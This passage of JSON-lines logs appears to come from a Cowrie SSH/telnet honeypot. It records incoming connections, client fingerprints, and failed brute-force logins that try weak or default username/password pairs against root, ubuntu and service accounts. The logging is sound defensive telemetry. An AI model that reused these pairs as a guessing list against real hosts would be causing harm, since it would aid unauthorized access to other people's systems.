ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:31.927636Z","src_ip":"103.143.231.102","session":"a496dda7ea24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"a","message":"login attempt [kafka/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:32.240620Z","src_ip":"103.143.231.102","session":"a496dda7ea24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:33.314480Z","src_ip":"103.143.231.102","session":"a496dda7ea24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60650,"dst_ip":"159.203.135.109","dst_port":22,"session":"a208ee89d0fb","protocol":"ssh","message":"New connection: 45.156.87.254:60650 (159.203.135.109:22) [session: a208ee89d0fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:33.911041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:33.916452Z","src_ip":"45.156.87.254","session":"a208ee89d0fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:33.999654Z","src_ip":"45.156.87.254","session":"a208ee89d0fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:34.251337Z","src_ip":"45.156.87.254","session":"a208ee89d0fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:35.351484Z","src_ip":"45.156.87.254","session":"a208ee89d0fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":40550,"dst_ip":"159.203.135.109","dst_port":22,"session":"36d696fdd730","protocol":"ssh","message":"New connection: 45.156.87.254:40550 (159.203.135.109:22) [session: 36d696fdd730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:38.681225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:38.687124Z","src_ip":"45.156.87.254","session":"36d696fdd730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:38.771272Z","src_ip":"45.156.87.254","session":"36d696fdd730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":55586,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4605101d762","protocol":"telnet","message":"New connection: 20.123.41.163:55586 (10.17.0.5:23) [session: d4605101d762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:38.803889Z"}
{"eventid":"cowrie.login.failed","username":"prakash","password":"prakash123","message":"login attempt [prakash/prakash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:39.026288Z","src_ip":"45.156.87.254","session":"36d696fdd730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:40.112924Z","src_ip":"45.156.87.254","session":"36d696fdd730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.80175185203552,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:41.818267Z","src_ip":"104.245.105.2","session":"88ff8ce73f4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":40564,"dst_ip":"159.203.135.109","dst_port":22,"session":"70ef525824b6","protocol":"ssh","message":"New connection: 45.156.87.254:40564 (159.203.135.109:22) [session: 70ef525824b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:43.715359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:43.720787Z","src_ip":"45.156.87.254","session":"70ef525824b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:43.805635Z","src_ip":"45.156.87.254","session":"70ef525824b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:44.063525Z","src_ip":"45.156.87.254","session":"70ef525824b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:45.164110Z","src_ip":"45.156.87.254","session":"70ef525824b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42046,"dst_ip":"159.203.135.109","dst_port":22,"session":"9febc5b76ecd","protocol":"ssh","message":"New connection: 45.156.87.254:42046 (159.203.135.109:22) [session: 9febc5b76ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:48.750464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:48.755288Z","src_ip":"45.156.87.254","session":"9febc5b76ecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:48.843988Z","src_ip":"45.156.87.254","session":"9febc5b76ecd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":56224,"dst_ip":"10.17.0.5","dst_port":22,"session":"415c1d8b4acc","protocol":"ssh","message":"New connection: 186.30.115.187:56224 (10.17.0.5:22) [session: 415c1d8b4acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:49.063923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:49.068834Z","src_ip":"186.30.115.187","session":"415c1d8b4acc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1111","message":"login attempt [user1/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:49.098566Z","src_ip":"45.156.87.254","session":"9febc5b76ecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:49.215493Z","src_ip":"186.30.115.187","session":"415c1d8b4acc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server123#","message":"login attempt [root/server123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:49.594206Z","src_ip":"186.30.115.187","session":"415c1d8b4acc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:50.300652Z","src_ip":"45.156.87.254","session":"9febc5b76ecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:50.698328Z","src_ip":"186.30.115.187","session":"415c1d8b4acc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42052,"dst_ip":"159.203.135.109","dst_port":22,"session":"676dcbe14d32","protocol":"ssh","message":"New connection: 45.156.87.254:42052 (159.203.135.109:22) [session: 676dcbe14d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:53.618631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:53.625217Z","src_ip":"45.156.87.254","session":"676dcbe14d32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:53.709998Z","src_ip":"45.156.87.254","session":"676dcbe14d32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink","message":"login attempt [flink/flink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:53.969120Z","src_ip":"45.156.87.254","session":"676dcbe14d32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:55.061441Z","src_ip":"45.156.87.254","session":"676dcbe14d32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51380,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a2b07e5b8dc","protocol":"ssh","message":"New connection: 45.156.87.254:51380 (159.203.135.109:22) [session: 9a2b07e5b8dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:58.561203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:58.566861Z","src_ip":"45.156.87.254","session":"9a2b07e5b8dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:58.661504Z","src_ip":"45.156.87.254","session":"9a2b07e5b8dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:58.916041Z","src_ip":"45.156.87.254","session":"9a2b07e5b8dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42324,"dst_ip":"10.17.0.5","dst_port":23,"session":"58365df17dbe","protocol":"telnet","message":"New connection: 104.245.105.2:42324 (10.17.0.5:23) [session: 58365df17dbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:59.089417Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:00.006899Z","src_ip":"45.156.87.254","session":"9a2b07e5b8dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51386,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9dedcbc6026","protocol":"ssh","message":"New connection: 45.156.87.254:51386 (159.203.135.109:22) [session: e9dedcbc6026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:03.649540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:03.662013Z","src_ip":"45.156.87.254","session":"e9dedcbc6026","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:03.756306Z","src_ip":"45.156.87.254","session":"e9dedcbc6026","protocol":"ssh"}
